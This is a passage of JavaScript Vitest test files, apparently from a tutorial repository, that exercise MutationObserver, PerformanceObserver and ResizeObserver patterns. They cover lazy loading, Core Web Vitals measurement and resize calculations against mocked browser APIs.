============================================================\n\n  describe('Real-World Use Cases', () => {\n    // From lines 405-420: Lazy loading images pattern\n    it('should detect images added to DOM for lazy loading', async () => {\n      const loadedImages = []\n      \n      function loadImage(img) {\n        if (img.dataset.src) {\n          img.src = img.dataset.src\n          img.removeAttribute('data-src')\n          loadedImages.push(img)\n        }\n      }\n      \n      observer = new MutationObserver((mutations) => {\n        for (const mutation of mutations) {\n          for (const node of mutation.addedNodes) {\n            if (node.nodeType !== Node.ELEMENT_NODE) continue\n            \n            if (node.matches && node.matches('img[data-src]')) {\n              loadImage(node)\n            }\n            \n            if (node.querySelectorAll) {\n              node.querySelectorAll('img[data-src]').forEach(loadImage)\n            }\n          }\n        }\n      })\n      \n      observer.observe(container, { childList: true, subtree: true })\n      \n      // Add image with data-src\n      const img = document.createElement('img')\n      img.dataset.src = 'https://example.com/image.jpg'\n      container.appendChild(img)\n      \n      await Promise.resolve()\n      \n      expect(loadedImages.length).toBe(1)\n      expect(img.src).toBe('https://example.com/image.jpg')\n      expect(img.dataset.src).toBeUndefined()\n    })\n\n    // From lines 430-445: Removing unwanted elements\n    it('should detect and remove unwanted elements', async () => {\n      const removedElements = []\n      \n      observer = new MutationObserver((mutations) => {\n        for (const mutation of mutations) {\n          for (const node of mutation.addedNodes) {\n            if (node.nodeType !== Node.ELEMENT_NODE) continue\n            \n            if (node.matches && node.matches('.ad-banner')) {\n              node.remove()\n              removedElements.push(node)\n            }\n          }\n        }\n      })\n      \n      observer.observe(container, { childList: true, subtree: true })\n      \n      // Simulate ad being injected\n      const ad = document.createElement('div')\n      ad.className = 'ad-banner'\n      container.appendChild(ad)\n      \n      await Promise.resolve()\n      \n      expect(removedElements.length).toBe(1)\n      expect(container.querySelector('.ad-banner')).toBeNull()\n    })\n\n    // From lines 450-465: Tracking class changes\n    it('should detect class changes on elements', async () => {\n      const element = document.createElement('div')\n      element.id = 'panel'\n      container.appendChild(element)\n      \n      let isExpanded = false\n      \n      observer = new MutationObserver((mutations) => {\n        for (const mutation of mutations) {\n          if (mutation.attributeName === 'class') {\n            isExpanded = mutation.target.classList.contains('expanded')\n          }\n        }\n      })\n      \n      observer.observe(element, {\n        attributes: true,\n        attributeFilter: ['class']\n      })\n      \n      element.classList.add('expanded')\n      \n      await Promise.resolve()\n      \n      expect(isExpanded).toBe(true)\n    })\n  })\n\n  // ============================================================\n  // MICROTASK TIMING\n  // From mutation-observer.mdx lines 385-400\n  // ============================================================\n\n  describe('Microtask Timing', () => {\n    it('should batch multiple changes into single callback', async () => {\n      let callbackCount = 0\n      let totalMutations = 0\n      \n      observer = new MutationObserver((mutations) => {\n        callbackCount++\n        totalMutations += mutations.length\n      })\n      \n      observer.observe(container, { childList: true })\n      \n      // Make multiple changes synchronously\n      container.appendChild(document.createElement('div'))\n      container.appendChild(document.createElement('span'))\n      container.appendChild(document.createElement('p'))\n      \n      await Promise.resolve()\n      \n      // Should be batched into single callback\n      expect(callbackCount).toBe(1)\n      expect(totalMutations).toBe(3)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/observer-apis/performance-observer/performance-observer.test.js",
    "content": "import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\n/**\n * Tests for Performance Observer concept page\n * Source: docs/beyond/concepts/performance-observer.mdx\n * \n * PerformanceObserver is a browser API - these tests mock the API\n * to verify the patterns and logic demonstrated in the documentation.\n */\n\ndescribe('Performance Observer', () => {\n  let mockObservers\n  let mockEntries\n\n  function simulateEntry(entry) {\n    mockEntries.push(entry)\n    mockObservers.forEach(observer => {\n      if (\n        (observer.options.type && observer.options.type === entry.entryType) ||\n        (observer.options.entryTypes && observer.options.entryTypes.includes(entry.entryType))\n      ) {\n        observer.callback({\n          getEntries: () => [entry]\n        }, observer)\n      }\n    })\n  }\n\n  beforeEach(() => {\n    mockObservers = []\n    mockEntries = []\n\n    class MockPerformanceObserver {\n      constructor(callback) {\n        this.callback = callback\n        this.options = null\n      }\n\n      observe(options) {\n        this.options = options\n        mockObservers.push(this)\n        if (options.buffered && mockEntries.length > 0) {\n          const entries = mockEntries.filter(e => \n            options.type === e.entryType || \n            (options.entryTypes && options.entryTypes.includes(e.entryType))\n          )\n          if (entries.length > 0) {\n            setTimeout(() => {\n              this.callback({ getEntries: () => [...entries] }, this)\n            }, 0)\n          }\n        }\n      }\n\n      disconnect() {\n        const index = mockObservers.indexOf(this)\n        if (index > -1) {\n          mockObservers.splice(index, 1)\n        }\n      }\n\n      takeRecords() {\n        const records = [...mockEntries]\n        mockEntries.length = 0\n        return records\n      }\n\n      static supportedEntryTypes = [\n        'element', 'event', 'first-input', 'largest-contentful-paint',\n        'layout-shift', 'longtask', 'mark', 'measure', 'navigation',\n        'paint', 'resource', 'visibility-state'\n      ]\n    }\n\n    vi.stubGlobal('PerformanceObserver', MockPerformanceObserver)\n\n    vi.stubGlobal('performance', {\n      mark: vi.fn((name) => ({ name, startTime: Date.now() })),\n      measure: vi.fn((name, startMark, endMark) => ({\n        name,\n        startTime: 0,\n        duration: 100\n      })),\n      getEntries: vi.fn(() => mockEntries),\n      getEntriesByType: vi.fn((type) => mockEntries.filter(e => e.entryType === type)),\n      getEntriesByName: vi.fn((name) => mockEntries.filter(e => e.name === name))\n    })\n\n    vi.stubGlobal('window', { PerformanceObserver: MockPerformanceObserver })\n  })\n\n  afterEach(() => {\n    vi.unstubAllGlobals()\n    vi.clearAllMocks()\n  })\n\n  describe('Basic PerformanceObserver Usage', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:79-96\n    it('should create an observer and receive entries', () => {\n      const receivedEntries = []\n      \n      const observer = new PerformanceObserver((list) => {\n        receivedEntries.push(...list.getEntries())\n      })\n      \n      observer.observe({ type: 'resource', buffered: true })\n      \n      simulateEntry({\n        entryType: 'resource',\n        name: 'https://example.com/app.js',\n        duration: 245.30\n      })\n      \n      expect(receivedEntries.length).toBe(1)\n      expect(receivedEntries[0].name).toBe('https://example.com/app.js')\n    })\n\n    it('should handle multiple entry types with entryTypes option', () => {\n      const receivedEntries = []\n      \n      const observer = new PerformanceObserver((list) => {\n        receivedEntries.push(...list.getEntries())\n      })\n      \n      observer.observe({ entryTypes: ['resource', 'navigation'] })\n      \n      simulateEntry({ entryType: 'resource', name: 'script.js' })\n      simulateEntry({ entryType: 'navigation', name: 'page' })\n      simulateEntry({ entryType: 'paint', name: 'first-paint' })\n      \n      expect(receivedEntries.length).toBe(2)\n    })\n  })\n\n  describe('Checking Supported Entry Types', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:120-126\n    it('should expose supportedEntryTypes static property', () => {\n      const supportedTypes = PerformanceObserver.supportedEntryTypes\n      \n      expect(Array.isArray(supportedTypes)).toBe(true)\n      expect(supportedTypes).toContain('resource')\n      expect(supportedTypes).toContain('navigation')\n      expect(supportedTypes).toContain('paint')\n      expect(supportedTypes).toContain('largest-contentful-paint')\n      expect(supportedTypes).toContain('layout-shift')\n      expect(supportedTypes).toContain('longtask')\n    })\n  })\n\n  describe('Resource Timing', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:148-169\n    it('should observe resource timing entries with detailed breakdown', () => {\n      const results = []\n      \n      const resourceObserver = new PerformanceObserver((list) => {\n        list.getEntries().forEach((entry) => {\n          results.push({\n            name: entry.name,\n            duration: entry.duration,\n            dns: entry.domainLookupEnd - entry.domainLookupStart,\n            tcp: entry.connectEnd - entry.connectStart,\n            ttfb: entry.responseStart - entry.requestStart,\n            download: entry.responseEnd - entry.responseStart\n          })\n        })\n      })\n      \n      resourceObserver.observe({ type: 'resource', buffered: true })\n      \n      simulateEntry({\n        entryType: 'resource',\n        name: 'https://example.com/app.js',\n        startTime: 100,\n        duration: 245.30,\n        domainLookupStart: 100,\n        domainLookupEnd: 120,\n        connectStart: 120,\n        connectEnd: 150,\n        requestStart: 150,\n        responseStart: 200,\n        responseEnd: 345.30\n      })\n      \n      expect(results.length).toBe(1)\n      expect(results[0].name).toBe('https://example.com/app.js')\n      expect(results[0].dns).toBe(20)\n      expect(results[0].tcp).toBe(30)\n      expect(results[0].ttfb).toBe(50)\n      expect(results[0].download).toBeCloseTo(145.30)\n    })\n  })\n\n  describe('Navigation Timing', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:173-194\n    it('should observe navigation timing entries', () => {\n      const metrics = {}\n      \n      const navObserver = new PerformanceObserver((list) => {\n        const entry = list.getEntries()[0]\n        \n        metrics.dns = entry.domainLookupEnd - entry.domainLookupStart\n        metrics.tcp = entry.connectEnd - entry.connectStart\n        metrics.ttfb = entry.responseStart - entry.startTime\n        metrics.domParsing = entry.domInteractive - entry.responseEnd\n        metrics.domComplete = entry.domComplete - entry.startTime\n        metrics.loadComplete = entry.loadEventEnd - entry.startTime\n      })\n      \n      navObserver.observe({ type: 'navigation', buffered: true })\n      \n      simulateEntry({\n        entryType: 'navigation',\n        name: 'https://example.com/',\n        startTime: 0,\n        domainLookupStart: 10,\n        domainLookupEnd: 30,\n        connectStart: 30,\n        connectEnd: 60,\n        responseStart: 100,\n        responseEnd: 200,\n        domInteractive: 400,\n        domComplete: 800,\n        loadEventEnd: 1000\n      })\n      \n      expect(metrics.dns).toBe(20)\n      expect(metrics.tcp).toBe(30)\n      expect(metrics.ttfb).toBe(100)\n      expect(metrics.domParsing).toBe(200)\n      expect(metrics.domComplete).toBe(800)\n      expect(metrics.loadComplete).toBe(1000)\n    })\n  })\n\n  describe('Paint Timing', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:198-210\n    it('should observe paint timing entries', () => {\n      const paintEvents = []\n      \n      const paintObserver = new PerformanceObserver((list) => {\n        list.getEntries().forEach((entry) => {\n          paintEvents.push({\n            name: entry.name,\n            startTime: entry.startTime\n          })\n        })\n      })\n      \n      paintObserver.observe({ type: 'paint', buffered: true })\n      \n      simulateEntry({\n        entryType: 'paint',\n        name: 'first-paint',\n        startTime: 245.5\n      })\n      \n      simulateEntry({\n        entryType: 'paint',\n        name: 'first-contentful-paint',\n        startTime: 312.8\n      })\n      \n      expect(paintEvents.length).toBe(2)\n      expect(paintEvents[0].name).toBe('first-paint')\n      expect(paintEvents[0].startTime).toBe(245.5)\n      expect(paintEvents[1].name).toBe('first-contentful-paint')\n      expect(paintEvents[1].startTime).toBe(312.8)\n    })\n  })\n\n  describe('Core Web Vitals - LCP', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:220-242\n    it('should measure Largest Contentful Paint and rate as Good', () => {\n      let lcpValue = null\n      let lcpRating = null\n      \n      const lcpObserver = new PerformanceObserver((list) => {\n        const entries = list.getEntries()\n        const lastEntry = entries[entries.length - 1]\n        \n        lcpValue = lastEntry.startTime\n        \n        if (lastEntry.startTime <= 2500) {\n          lcpRating = 'Good'\n        } else if (lastEntry.startTime <= 4000) {\n          lcpRating = 'Needs Improvement'\n        } else {\n          lcpRating = 'Poor'\n        }\n      })\n      \n      lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true })\n      \n      simulateEntry({\n        entryType: 'largest-contentful-paint',\n        startTime: 1500,\n        size: 50000\n      })\n      \n      expect(lcpValue).toBe(1500)\n      expect(lcpRating).toBe('Good')\n    })\n\n    it('should rate LCP as Needs Improvement between 2.5s and 4s', () => {\n      let lcpRating = null\n      \n      const lcpObserver = new PerformanceObserver((list) => {\n        const lastEntry = list.getEntries()[list.getEntries().length - 1]\n        \n        if (lastEntry.startTime <= 2500) {\n          lcpRating = 'Good'\n        } else if (lastEntry.startTime <= 4000) {\n          lcpRating = 'Needs Improvement'\n        } else {\n          lcpRating = 'Poor'\n        }\n      })\n      \n      lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true })\n      \n      simulateEntry({\n        entryType: 'largest-contentful-paint',\n        startTime: 3000\n      })\n      \n      expect(lcpRating).toBe('Needs Improvement')\n    })\n\n    it('should rate LCP as Poor above 4s', () => {\n      let lcpRating = null\n      \n      const lcpObserver = new PerformanceObserver((list) => {\n        const lastEntry = list.getEntries()[list.getEntries().length - 1]\n        \n        if (lastEntry.startTime <= 2500) {\n          lcpRating = 'Good'\n        } else if (lastEntry.startTime <= 4000) {\n          lcpRating = 'Needs Improvement'\n        } else {\n          lcpRating = 'Poor'\n        }\n      })\n      \n      lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true })\n      \n      simulateEntry({\n        entryType: 'largest-contentful-paint',\n        startTime: 5000\n      })\n      \n      expect(lcpRating).toBe('Poor')\n    })\n  })\n\n  describe('Core Web Vitals - CLS', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:246-267\n    it('should measure Cumulative Layout Shift', () => {\n      let clsValue = 0\n      \n      const clsObserver = new PerformanceObserver((list) => {\n        list.getEntries().forEach((entry) => {\n          if (!entry.hadRecentInput) {\n            clsValue += entry.value\n          }\n        })\n      })\n      \n      clsObserver.observe({ type: 'layout-shift', buffered: true })\n      \n      simulateEntry({\n        entryType: 'layout-shift',\n        value: 0.05,\n        hadRecentInput: false\n      })\n      \n      simulateEntry({\n        entryType: 'layout-shift',\n        value: 0.03,\n        hadRecentInput: false\n      })\n      \n      expect(clsValue).toBeCloseTo(0.08)\n    })\n\n    it('should ignore layout shifts with recent user input', () => {\n      let clsValue = 0\n      \n      const clsObserver = new PerformanceObserver((list) => {\n        list.getEntries().forEach((entry) => {\n          if (!entry.hadRecentInput) {\n            clsValue += entry.value\n          }\n        })\n      })\n      \n      clsObserver.observe({ type: 'layout-shift', buffered: true })\n      \n      simulateEntry({\n        entryType: 'layout-shift',\n        value: 0.05,\n        hadRecentInput: false\n      })\n      \n      simulateEntry({\n        entryType: 'layout-shift',\n        value: 0.10,\n        hadRecentInput: true\n      })\n      \n      expect(clsValue).toBeCloseTo(0.05)\n    })\n  })\n\n  describe('Core Web Vitals - INP', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:271-291\n    it('should measure Interaction to Next Paint (worst interaction)', () => {\n      let maxINP = 0\n      \n      const inpObserver = new PerformanceObserver((list) => {\n        list.getEntries().forEach((entry) => {\n          if (entry.duration > maxINP) {\n            maxINP = entry.duration\n          }\n        })\n      })\n      \n      inpObserver.observe({ type: 'event', buffered: true, durationThreshold: 40 })\n      \n      simulateEntry({ entryType: 'event', name: 'click', duration: 80 })\n      simulateEntry({ entryType: 'event', name: 'keydown', duration: 150 })\n      simulateEntry({ entryType: 'event', name: 'click', duration: 50 })\n      \n      expect(maxINP).toBe(150)\n    })\n  })\n\n  describe('Core Web Vitals - FCP', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:295-316\n    it('should measure First Contentful Paint', () => {\n      let fcpValue = null\n      let fcpRating = null\n      \n      const fcpObserver = new PerformanceObserver((list) => {\n        const fcp = list.getEntries().find(entry => entry.name === 'first-contentful-paint')\n        \n        if (fcp) {\n          fcpValue = fcp.startTime\n          \n          if (fcp.startTime <= 1800) {\n            fcpRating = 'Good'\n          } else if (fcp.startTime <= 3000) {\n            fcpRating = 'Needs Improvement'\n          } else {\n            fcpRating = 'Poor'\n          }\n        }\n      })\n      \n      fcpObserver.observe({ type: 'paint', buffered: true })\n      \n      simulateEntry({\n        entryType: 'paint',\n        name: 'first-contentful-paint',\n        startTime: 1200\n      })\n      \n      expect(fcpValue).toBe(1200)\n      expect(fcpRating).toBe('Good')\n    })\n  })\n\n  describe('Core Web Vitals - TTFB', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:320-342\n    it('should measure Time to First Byte with breakdown', () => {\n      let ttfb = null\n      let breakdown = {}\n      \n      const ttfbObserver = new PerformanceObserver((list) => {\n        const entry = list.getEntries()[0]\n        ttfb = entry.responseStart - entry.startTime\n        \n        breakdown = {\n          dns: entry.domainLookupEnd - entry.domainLookupStart,\n          connection: entry.connectEnd - entry.connectStart,\n          waiting: entry.responseStart - entry.requestStart\n        }\n      })\n      \n      ttfbObserver.observe({ type: 'navigation', buffered: true })\n      \n      simulateEntry({\n        entryType: 'navigation',\n        startTime: 0,\n        domainLookupStart: 10,\n        domainLookupEnd: 50,\n        connectStart: 50,\n        connectEnd: 100,\n        requestStart: 100,\n        responseStart: 300\n      })\n      \n      expect(ttfb).toBe(300)\n      expect(breakdown.dns).toBe(40)\n      expect(breakdown.connection).toBe(50)\n      expect(breakdown.waiting).toBe(200)\n    })\n  })\n\n  describe('Custom Performance Marks and Measures', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:376-393\n    it('should create custom marks and measures', () => {\n      performance.mark('api-call-start')\n      performance.mark('api-call-end')\n      performance.measure('api-call', 'api-call-start', 'api-call-end')\n      \n      expect(performance.mark).toHaveBeenCalledWith('api-call-start')\n      expect(performance.mark).toHaveBeenCalledWith('api-call-end')\n      expect(performance.measure).toHaveBeenCalledWith('api-call', 'api-call-start', 'api-call-end')\n    })\n\n    it('should observe custom measures', () => {\n      const customMetrics = []\n      \n      const customObserver = new PerformanceObserver((list) => {\n        list.getEntries().forEach(entry => {\n          customMetrics.push({ name: entry.name, duration: entry.duration })\n        })\n      })\n      \n      customObserver.observe({ type: 'measure', buffered: true })\n      \n      simulateEntry({\n        entryType: 'measure',\n        name: 'api-call',\n        startTime: 0,\n        duration: 245.3\n      })\n      \n      expect(customMetrics.length).toBe(1)\n      expect(customMetrics[0].name).toBe('api-call')\n      expect(customMetrics[0].duration).toBe(245.3)\n    })\n  })\n\n  describe('Long Tasks', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:426-445\n    it('should detect long tasks blocking the main thread (>50ms)', () => {\n      const longTasks = []\n      \n      const longTaskObserver = new PerformanceObserver((list) => {\n        list.getEntries().forEach(entry => {\n          longTasks.push({ duration: entry.duration, startTime: entry.startTime })\n        })\n      })\n      \n      longTaskObserver.observe({ type: 'longtask', buffered: true })\n      \n      simulateEntry({\n        entryType: 'longtask',\n        startTime: 1000,\n        duration: 150\n      })\n      \n      expect(longTasks.length).toBe(1)\n      expect(longTasks[0].duration).toBe(150)\n    })\n  })\n\n  describe('Observer Methods', () => {\n    describe('disconnect()', () => {\n      // Source: docs/beyond/concepts/performance-observer.mdx:553-567\n      it('should stop receiving entries after disconnect', () => {\n        const receivedEntries = []\n        \n        const observer = new PerformanceObserver((list) => {\n          receivedEntries.push(...list.getEntries())\n        })\n        \n        observer.observe({ type: 'resource', buffered: true })\n        \n        simulateEntry({ entryType: 'resource', name: 'before.js' })\n        expect(receivedEntries.length).toBe(1)\n        \n        observer.disconnect()\n        \n        simulateEntry({ entryType: 'resource', name: 'after.js' })\n        expect(receivedEntries.length).toBe(1)\n      })\n    })\n\n    describe('takeRecords()', () => {\n      // Source: docs/beyond/concepts/performance-observer.mdx:571-583\n      it('should return pending entries and clear buffer', () => {\n        mockEntries = [\n          { entryType: 'resource', name: 'script.js', duration: 100 },\n          { entryType: 'resource', name: 'style.css', duration: 50 }\n        ]\n        \n        const observer = new PerformanceObserver(() => {})\n        observer.observe({ type: 'resource', buffered: true })\n        \n        const pending = observer.takeRecords()\n        \n        expect(pending.length).toBe(2)\n        expect(observer.takeRecords().length).toBe(0)\n      })\n    })\n  })\n\n  describe('Browser Support Check', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:622-635\n    it('should check for PerformanceObserver support before using', () => {\n      const safeObserve = (type, callback) => {\n        if ('PerformanceObserver' in window) {\n          if (PerformanceObserver.supportedEntryTypes.includes(type)) {\n            const observer = new PerformanceObserver(callback)\n            observer.observe({ type, buffered: true })\n            return observer\n          }\n        }\n        return null\n      }\n      \n      const observer = safeObserve('largest-contentful-paint', vi.fn())\n      expect(observer).not.toBeNull()\n    })\n\n    it('should return null for unsupported entry types', () => {\n      const safeObserve = (type, callback) => {\n        if ('PerformanceObserver' in window) {\n          if (PerformanceObserver.supportedEntryTypes.includes(type)) {\n            const observer = new PerformanceObserver(callback)\n            observer.observe({ type, buffered: true })\n            return observer\n          }\n        }\n        return null\n      }\n      \n      const observer = safeObserve('unsupported-type', vi.fn())\n      expect(observer).toBeNull()\n    })\n  })\n\n  describe('Simple RUM Implementation', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:464-524\n    it('should collect multiple metrics into a single object', () => {\n      class PerformanceMonitor {\n        constructor() {\n          this.metrics = {}\n          this.observers = []\n        }\n        \n        observe(type, callback) {\n          const observer = new PerformanceObserver((list) => {\n            callback(list.getEntries())\n          })\n          observer.observe({ type, buffered: true })\n          this.observers.push(observer)\n        }\n        \n        disconnect() {\n          this.observers.forEach(obs => obs.disconnect())\n        }\n      }\n      \n      const monitor = new PerformanceMonitor()\n      \n      monitor.observe('largest-contentful-paint', (entries) => {\n        const lastEntry = entries[entries.length - 1]\n        monitor.metrics.lcp = lastEntry.startTime\n      })\n      \n      monitor.observe('paint', (entries) => {\n        const fcp = entries.find(e => e.name === 'first-contentful-paint')\n        if (fcp) {\n          monitor.metrics.fcp = fcp.startTime\n        }\n      })\n      \n      simulateEntry({ entryType: 'largest-contentful-paint', startTime: 2000 })\n      simulateEntry({ entryType: 'paint', name: 'first-contentful-paint', startTime: 800 })\n      \n      expect(monitor.metrics.lcp).toBe(2000)\n      expect(monitor.metrics.fcp).toBe(800)\n      \n      monitor.disconnect()\n    })\n  })\n\n  describe('Sampling Pattern', () => {\n    // Source: docs/beyond/concepts/performance-observer.mdx:637-650\n    it('should demonstrate sampling pattern for production', () => {\n      let observerCreated = false\n      const shouldSample = true\n      \n      if (shouldSample) {\n        const observer = new PerformanceObserver(() => {})\n        observer.observe({ type: 'resource', buffered: true })\n        observerCreated = true\n      }\n      \n      expect(observerCreated).toBe(true)\n    })\n\n    it('should skip observer creation when not sampled', () => {\n      let observerCreated = false\n      const shouldSample = false\n      \n      if (shouldSample) {\n        const observer = new PerformanceObserver(() => {})\n        observer.observe({ type: 'resource', buffered: true })\n        observerCreated = true\n      }\n      \n      expect(observerCreated).toBe(false)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/observer-apis/resize-observer/resize-observer.test.js",
    "content": "/**\n * Tests for ResizeObserver concept page\n * Source: /docs/beyond/concepts/resize-observer.mdx\n * \n * Note: ResizeObserver is a browser API that cannot be fully tested\n * without a real browser environment. These tests verify the concepts and\n * patterns described in the documentation using mocks and simulated behavior.\n */\n\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\ndescribe('ResizeObserver Concepts', () => {\n  // ============================================================\n  // RESIZEOBSERVERENTRY PROPERTIES\n  // From resize-observer.mdx lines ~115-140\n  // ============================================================\n\n  describe('ResizeObserverEntry Properties', () => {\n    // From lines ~115-140: The ResizeObserverEntry Object\n    it('should understand entry property structure', () => {\n      // Simulating the shape of ResizeObserverEntry\n      const mockEntry = {\n        target: { id: 'test-element' },\n        contentRect: {\n          width: 200,\n          height: 100,\n          top: 10,    // Padding-top value\n          left: 10,   // Padding-left value\n          right: 210,\n          bottom: 110,\n          x: 10,\n          y: 10\n        },\n        contentBoxSize: [{\n          inlineSize: 200,  // Width in horizontal writing mode\n          blockSize: 100    // Height in horizontal writing mode\n        }],\n        borderBoxSize: [{\n          inlineSize: 220,  // Width including padding and border\n          blockSize: 120\n        }],\n        devicePixelContentBoxSize: [{\n          inlineSize: 400,  // At 2x device pixel ratio\n          blockSize: 200\n        }]\n      }\n\n      expect(typeof mockEntry.target).toBe('object')\n      expect(typeof mockEntry.contentRect).toBe('object')\n      expect(typeof mockEntry.contentRect.width).toBe('number')\n      expect(typeof mockEntry.contentRect.height).toBe('number')\n      expect(Array.isArray(mockEntry.contentBoxSize)).toBe(true)\n      expect(Array.isArray(mockEntry.borderBoxSize)).toBe(true)\n    })\n\n    // From lines ~115-140: contentRect properties\n    it('should have correct contentRect properties', () => {\n      const contentRect = {\n        width: 200,\n        height: 100,\n        top: 10,\n        left: 10,\n        right: 210,\n        bottom: 110,\n        x: 10,\n        y: 10\n      }\n\n      expect(contentRect.width).toBe(200)\n      expect(contentRect.height).toBe(100)\n      expect(contentRect.top).toBe(10)  // Padding-top\n      expect(contentRect.left).toBe(10) // Padding-left\n    })\n  })\n\n  // ============================================================\n  // BOX MODEL UNDERSTANDING\n  // From resize-observer.mdx lines ~145-210\n  // ============================================================\n\n  describe('Box Model Options', () => {\n    // From lines ~175-195: Choosing Which Box to Observe\n    it('should understand box option values', () => {\n      const validBoxOptions = ['content-box', 'border-box', 'device-pixel-content-box']\n      \n      validBoxOptions.forEach(option => {\n        expect(typeof option).toBe('string')\n      })\n\n      // Default option\n      const defaultBox = 'content-box'\n      expect(validBoxOptions).toContain(defaultBox)\n    })\n\n    // From lines ~200-225: Modern Size Properties\n    it('should access contentBoxSize correctly (as array)', () => {\n      const mockEntry = {\n        contentBoxSize: [{\n          inlineSize: 200,\n          blockSize: 100\n        }]\n      }\n\n      // Correct way: access first element of array\n      const contentBoxSize = mockEntry.contentBoxSize[0]\n      expect(contentBoxSize.inlineSize).toBe(200)\n      expect(contentBoxSize.blockSize).toBe(100)\n    })\n\n    // From lines ~200-225: inlineSize vs width\n    it('should understand inlineSize vs blockSize', () => {\n      // In horizontal writing mode:\n      // inlineSize = width\n      // blockSize = height\n      \n      // In vertical writing mode (e.g., traditional Japanese):\n      // inlineSize = height\n      // blockSize = width\n      \n      const horizontalWritingMode = {\n        inlineSize: 200,  // This is width\n        blockSize: 100    // This is height\n      }\n\n      const verticalWritingMode = {\n        inlineSize: 100,  // This is height\n        blockSize: 200    // This is width\n      }\n\n      expect(horizontalWritingMode.inlineSize).not.toBe(verticalWritingMode.inlineSize)\n    })\n  })\n\n  // ============================================================\n  // PRACTICAL USE CASES\n  // From resize-observer.mdx lines ~230-355\n  // ============================================================\n\n  describe('Responsive Typography Pattern', () => {\n    // From lines ~235-260: Responsive Typography\n    it('should calculate font size based on container width', () => {\n      function calculateFontSize(width) {\n        return Math.max(16, Math.min(48, width / 20))\n      }\n\n      // Test various widths\n      expect(calculateFontSize(200)).toBe(16)   // Minimum\n      expect(calculateFontSize(400)).toBe(20)   // 400/20 = 20\n      expect(calculateFontSize(600)).toBe(30)   // 600/20 = 30\n      expect(calculateFontSize(1000)).toBe(48)  // Maximum (capped)\n      expect(calculateFontSize(1200)).toBe(48)  // Still capped at max\n    })\n  })\n\n  describe('Canvas Resizing Pattern', () => {\n    // From lines ~265-305: Canvas Resizing\n    it('should calculate canvas internal size with device pixel ratio', () => {\n      const cssWidth = 400\n      const cssHeight = 300\n      const dpr = 2  // High DPI display\n\n      const canvasWidth = cssWidth * dpr\n      const canvasHeight = cssHeight * dpr\n\n      expect(canvasWidth).toBe(800)\n      expect(canvasHeight).toBe(600)\n    })\n\n    it('should handle default device pixel ratio', () => {\n      // In browser: window.devicePixelRatio\n      // In Node.js test environment, we simulate the fallback pattern\n      const mockWindow = { devicePixelRatio: 2 }\n      const dpr = mockWindow.devicePixelRatio || 1\n      \n      expect(typeof dpr).toBe('number')\n      expect(dpr).toBeGreaterThanOrEqual(1)\n      \n      // Test fallback when devicePixelRatio is undefined\n      const mockWindowUndefined = {}\n      const dprFallback = mockWindowUndefined.devicePixelRatio || 1\n      expect(dprFallback).toBe(1)\n    })\n  })\n\n  describe('Element Query Pattern', () => {\n    // From lines ~310-355: Element Queries\n    it('should determine breakpoint class based on width', () => {\n      const breakpoints = {\n        small: 'card--compact',\n        medium: 'card--standard',\n        large: 'card--expanded'\n      }\n\n      function getBreakpointClass(width) {\n        if (width < 300) return breakpoints.small\n        if (width < 600) return breakpoints.medium\n        return breakpoints.large\n      }\n\n      expect(getBreakpointClass(200)).toBe('card--compact')\n      expect(getBreakpointClass(300)).toBe('card--standard')\n      expect(getBreakpointClass(450)).toBe('card--standard')\n      expect(getBreakpointClass(600)).toBe('card--expanded')\n      expect(getBreakpointClass(800)).toBe('card--expanded')\n    })\n  })\n\n  describe('Auto-Scroll Pattern', () => {\n    // From lines ~360-390: Auto-Scrolling Chat Window\n    it('should determine if container should auto-scroll', () => {\n      // Auto-scroll if user is near bottom (within 10px)\n      function shouldAutoScroll(scrollTop, scrollHeight, clientHeight) {\n        return scrollTop + clientHeight >= scrollHeight - 10\n      }\n\n      // User at bottom\n      expect(shouldAutoScroll(500, 600, 100)).toBe(true)   // 500 + 100 >= 590\n      \n      // User scrolled up\n      expect(shouldAutoScroll(200, 600, 100)).toBe(false)  // 200 + 100 < 590\n      \n      // User exactly at threshold\n      expect(shouldAutoScroll(490, 600, 100)).toBe(true)   // 490 + 100 >= 590\n    })\n  })\n\n  describe('Aspect Ratio Pattern', () => {\n    // From lines ~395-415: Dynamic Aspect Ratio\n    it('should calculate height from width and aspect ratio', () => {\n      function calculateHeight(width, ratio) {\n        return width / ratio\n      }\n\n      // 16:9 aspect ratio\n      expect(calculateHeight(1600, 16/9)).toBeCloseTo(900)\n      expect(calculateHeight(800, 16/9)).toBeCloseTo(450)\n\n      // 4:3 aspect ratio\n      expect(calculateHeight(800, 4/3)).toBeCloseTo(600)\n\n      // 1:1 aspect ratio (square)\n      expect(calculateHeight(500, 1)).toBe(500)\n    })\n  })\n\n  // ============================================================\n  // INFINITE LOOP PREVENTION\n  // From resize-observer.mdx lines ~420-510\n  // ============================================================\n\n  describe('Infinite Loop Prevention', () => {\n    // From lines ~445-470: Solution 1 - Track expected size\n    it('should skip callback when size matches expected', () => {\n      const expectedSizes = new Map()\n      let callbackCount = 0\n\n      function handleResize(target, currentWidth) {\n        const expectedSize = expectedSizes.get(target)\n        \n        // Skip if we're already at the expected size\n        if (currentWidth === expectedSize) {\n          return false // Skipped\n        }\n\n        callbackCount++\n        const newWidth = currentWidth + 10\n        expectedSizes.set(target, newWidth)\n        return true // Processed\n      }\n\n      const element = { id: 'test' }\n      \n      // First call - should process\n      expect(handleResize(element, 100)).toBe(true)\n      expect(callbackCount).toBe(1)\n      \n      // Second call with expected size - should skip\n      expect(handleResize(element, 110)).toBe(false)\n      